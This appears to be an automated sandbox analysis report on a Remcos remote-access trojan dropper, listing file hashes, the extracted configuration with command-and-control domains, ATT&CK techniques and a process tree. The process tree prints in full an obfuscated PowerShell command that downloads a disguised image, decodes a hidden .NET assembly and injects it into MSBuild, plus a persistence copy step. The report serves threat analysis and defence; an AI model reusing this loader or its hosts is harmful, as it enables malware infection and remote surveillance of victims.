remcos | d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20/12/2024, 06:38

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General

Target

d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573.vbs
Size

152KB
MD5

4dd53bc42716f9abe36ae85c8ca8ea4b
SHA1

aa44fc15455a5283e6596a4da7ee87ac4e4b8901
SHA256

d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573
SHA512

d9f5410d0f7c9135fa2b388030c766969ed7ea70edae73b514820bb39251f4f66d9af3d39fc46327cb7a6f207ca3e3b7e86a8fecec7629a3606d3c0789777952
SSDEEP

3072:A8gVmI3b0mgfmWu+Dwe9VOv5iG5sVhQ30Wk+70wgA1A:A8gVde9VOvM

Score

10^/10

remcos new discovery execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

Extracted

Family

remcos

Botnet

NEW

rem.pushswroller.eu:23101

firewarzone.ydns.eu:23101

dim.remofficialws.top:23101

rem.officialswvrem.top:23101

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmcghdzxtrswtwg-BJ2KPV
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	804	powershell.exe
17	804	powershell.exe
161	4640	powershell.exe
169	4640	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
804	powershell.exe
4640	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 804 set thread context of 4860	804	powershell.exe	88
PID 4640 set thread context of 4220	4640	powershell.exe	110

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
804	powershell.exe
804	powershell.exe
4640	powershell.exe
4640	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	804	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4860	MSBuild.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1356 wrote to memory of 804	1356	WScript.exe	83
PID 1356 wrote to memory of 804	1356	WScript.exe	83
PID 804 wrote to memory of 3256	804	powershell.exe	86
PID 804 wrote to memory of 3256	804	powershell.exe	86
PID 804 wrote to memory of 4860	804	powershell.exe	88
PID 804 wrote to memory of 4860	804	powershell.exe	88
PID 804 wrote to memory of 4860	804	powershell.exe	88
PID 804 wrote to memory of 4860	804	powershell.exe	88
PID 804 wrote to memory of 4860	804	powershell.exe	88
PID 804 wrote to memory of 4860	804	powershell.exe	88
PID 804 wrote to memory of 4860	804	powershell.exe	88
PID 804 wrote to memory of 4860	804	powershell.exe	88
PID 804 wrote to memory of 4860	804	powershell.exe	88
PID 804 wrote to memory of 4860	804	powershell.exe	88
PID 2164 wrote to memory of 4640	2164	wscript.exe	107
PID 2164 wrote to memory of 4640	2164	wscript.exe	107
PID 4640 wrote to memory of 4220	4640	powershell.exe	110
PID 4640 wrote to memory of 4220	4640	powershell.exe	110
PID 4640 wrote to memory of 4220	4640	powershell.exe	110
PID 4640 wrote to memory of 4220	4640	powershell.exe	110
PID 4640 wrote to memory of 4220	4640	powershell.exe	110
PID 4640 wrote to memory of 4220	4640	powershell.exe	110
PID 4640 wrote to memory of 4220	4640	powershell.exe	110
PID 4640 wrote to memory of 4220	4640	powershell.exe	110
PID 4640 wrote to memory of 4220	4640	powershell.exe	110
PID 4640 wrote to memory of 4220	4640	powershell.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:804
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\talpe.vbs"
    3⤵
    PID:3256
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4860

C:\Windows\system32\wscript.exe
wscript.exe C:\ProgramData\talpe.vbs
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\talpe.vbs

Filesize
152KB

MD5
f46c154b82e9739bc0cb68c2b55c7141

SHA1
3cffae22113aa6d4525c702f164317713865ae49

SHA256
648aa1acba635f9025c41cb23dedd2e86c4abcec1ad91493e197a1b300c74e85

SHA512
11f540c4d95dbf6c79d87ee29e400a0c73db6d7fa196ceac29051b7b9d6b8a7c858a4cb359b223bd5851b45ea3228928ecce9a11c82c3c818a880f5f9de91ad0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
96c9d581cfb5f15fce3f11be06735ea3

SHA1
93464cb23333b44ebe83643eb94329101f2ad4b7

SHA256
07b70c5ac76adc19ca26500e3c3fd380eae2ece3f198a56eaf538e5b8ff04c85

SHA512
7c0080a1610321a756dab29b0b6341ba63e2eaa31e105d45f3c556ca84148bebc4ec50e7c063b7e4c32287e15a3a6e2d1169eeeac767f1c719f62c0b56abff5c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lcghm10i.gjy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/804-0-0x00007FFB42953000-0x00007FFB42955000-memory.dmp

Filesize
8KB

Download
memory/804-1-0x000001BA63150000-0x000001BA63172000-memory.dmp

Filesize
136KB

Download
memory/804-11-0x00007FFB42950000-0x00007FFB43411000-memory.dmp

Filesize
10.8MB

Download
memory/804-12-0x00007FFB42950000-0x00007FFB43411000-memory.dmp

Filesize
10.8MB

Download
memory/804-13-0x00007FFB42953000-0x00007FFB42955000-memory.dmp

Filesize
8KB

Download
memory/804-14-0x00007FFB42950000-0x00007FFB43411000-memory.dmp

Filesize
10.8MB

Download
memory/804-15-0x00007FFB42950000-0x00007FFB43411000-memory.dmp

Filesize
10.8MB

Download
memory/804-16-0x00007FFB42950000-0x00007FFB43411000-memory.dmp

Filesize
10.8MB

Download
memory/804-17-0x000001BA656E0000-0x000001BA6588A000-memory.dmp

Filesize
1.7MB

Download
memory/804-18-0x00007FFB42950000-0x00007FFB43411000-memory.dmp

Filesize
10.8MB

Download
memory/804-24-0x00007FFB42950000-0x00007FFB43411000-memory.dmp

Filesize
10.8MB

Download
memory/4860-49-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-57-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-25-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-29-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-30-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-32-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-33-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-34-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-35-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-36-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-37-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-38-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-39-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-40-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-41-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-43-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-42-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-44-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-45-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-47-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-46-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-20-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-48-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-50-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-51-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-53-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-54-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-55-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-56-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-23-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-58-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-59-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-60-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-61-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-62-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-63-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-64-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-65-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-66-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-67-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-68-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-69-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-70-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-71-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-72-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-73-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-74-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-75-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-76-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-77-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-78-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-79-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-80-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-81-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-83-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-84-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-85-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-86-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4860-88-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download